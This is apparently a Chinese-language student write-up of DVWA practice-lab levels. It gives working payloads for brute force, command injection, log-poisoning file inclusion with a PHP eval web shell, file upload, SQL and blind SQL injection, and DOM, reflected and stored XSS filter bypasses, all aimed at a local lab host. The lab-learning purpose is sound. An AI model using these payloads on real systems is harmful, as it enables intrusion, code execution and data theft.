目录
综合靶场漏洞讲解
Brute Force
Low
-
尝试登录
抓包,发送至intruder模块
配置参数
开始攻击,找到对应结果
Medium
主要问题存在于请求发送时间间隔,不懂啊我靠
High
涉及到时间和token的知识,这我更不懂为什么了
Command Injection
Low
第一个命令执行结果正确与否无所谓,利用一些符号使得正确执行第二个命令就好了
Medium
同样的道理
High
这个稍微不一样,因为在源代码处理过程中,对一些特殊符号做了过滤
所以我们可以使用的他叔符号很有限,而且他这里不知道为什么 ; 是无法使用的
File Inclusion
Low,Medium,High
直接先访问 http://192.168.230.147/DVWA/vulnerabilities/fi/?page=<?@eval($_POST['a']);?>
然后再访问 http://192.168.230.147/DVWA/vulnerabilities/fi/?page=/opt/lampp/logs/access_log
其中POST参数为a=phpinfo();
High关卡由于设置了访问内容范围,所以我们需要使用PHP伪协议来访问本地文件系统 http://192.168.230.147/DVWA/vulnerabilities/fi/?page=file:///opt/lampp/logs/access_log
File Upload
Low
直接上传 shell.php 即可
Medium
burp抓包修改文件类型
High
上传图片马,利用文件包含漏洞 使用 file:// 伪协议,访问本地文件系统,并传入参数 a=phpinfo();
但是如果没有文件包含漏洞怎么办?
SQL Injection
Low
payload如下:
我使用的是报错注入
1' union select database(),updatexml(1,concat(0x7e,user(),0x7e),1)--+
也可以,使用union查询,payload如下
1' union select 1,database() --+
Medium
数字型post注入,payload如下
1 union select 1,database()
High
union查询就可以,payload如下
1' union select 1,database()#
这个题报错注入是不行的,因为只要有错,后台自定义错误,出现任何错误都是这样
SQL Injection (Blind)
Low
这是一道布尔盲注题目
通过试探,发现是字符型注入,并且可以投ing过 --+ 注释单引号,注意,这道题中#注释是不可取的
正确情况回显
错误情况回显
payload如下
1' and length(database())=4 --+
Medium
id=1 and 1=1正确回显,id=1 and 1=2错误回显,说明是数字型注入
所以payload如下
1 and length(database())=4
High
通过试探,此乃字符型注入,单引号闭合, --+ 注释不可取,可使用 # 注释,
所以payload如下
1' and length(database())=4 #
如果判断错误则如下
XSS(DOM)
Low
payload default=English<script>alert(1)</script>
Medium
German</option></select><img src='x' onmouseover="alert(1)">
<option value="German">Spanish</option> <option value="German"></option></select><img src="x" οnerrοr="alert(1)">Spanish</option> <option value="German</option></select><img src='x' οnmοuseοver="alert(1)">">Spanish</option> <option value="German%3C/option%3E%3C/select%3E%3Cimg%20src=%27x%27%20οnmοuseοver=%22alert(1)%22%3E">German</option>
此时利用Low级别的payload发现我们写入的值仅存在于value中,并不存在于<option>和<select> 两个标签之中,我们猜测 <img> 这个标签不允许存在于<option> 和 <select> 标签之中,于是我们可以闭合这些标签,我们先尝试闭合 <option>,本来 <script> 标签是可以存在的,但是这一关将 script 标签过滤掉了,于是就无法使用了,我们只能选择其他标签。
-
先尝试闭合 <option> 标签
ok,没效果,说明不是 <option> 标签限制了 img 的存在s
-
尝试闭合 <select> 标签,payload
</select><img src=1 onerror="alert(1)">
有了,说明 <select> 标签中会限制 <img> 标签的出现
High
查看源代码
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?>
查看源代码我们可以看到,服务器通过GET接收到的参数必须是四个 case 中的选项,意味着我们就不能随意修改URL地址栏中的请求参数的值了,那怎么实现跨站脚本攻击呢
URL地址中我们可以通过添加锚点(#,也叫做页面定位符)来实现向前端页面传输,但锚点后面的内容并不会传输给后端服务器
payload English#<script>alert(1)</script>
然后重新刷新一下页面就好了(或执行一下)
XSS(Reflected)
Low
尝试输入admin 发现直接回显到页面上,那么直接输入 payload <script>alert(1)</script>
Medium
尝试Low级别的payload,发现只回显了alert(1)
说明<script>标签被过滤了,那我们换个标签 payload <img src=1 onerror="alert(1)">
同样可以使用 <svg onload=alert(1)>
High
<img src=1 onerror="alert(1)">
XSS(Store)
Low
尝试输入正确内容,发现页面完全回显,那么直接在内容中上 payload <script>alert(1)</script>
,用户名长度有限制
Medium
代码审计 可以发现 程序只对$name
做了过滤,$message
是进行了统一的SQL注入预防和HTML,PHP标签删除以及实体字符转换,而$name有过滤条件,那么我们就可以想办法绕过,而且还没有进行实体字符转换,ok开搞
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
-
F12修改name输入框长度
-
输入大小写绕过或者双写绕过
<ScRiPt>alert(/xss/)</ScRiPt>
<scr<script>ipt>alert(/xss/)</script>
High
和 Medium 差不多,只不过这次 $name 采用的过滤方式是黑名单加正则匹配
修改 $name 输入宽度 ,payload:<img src=1 onerror="alert(/xss/)">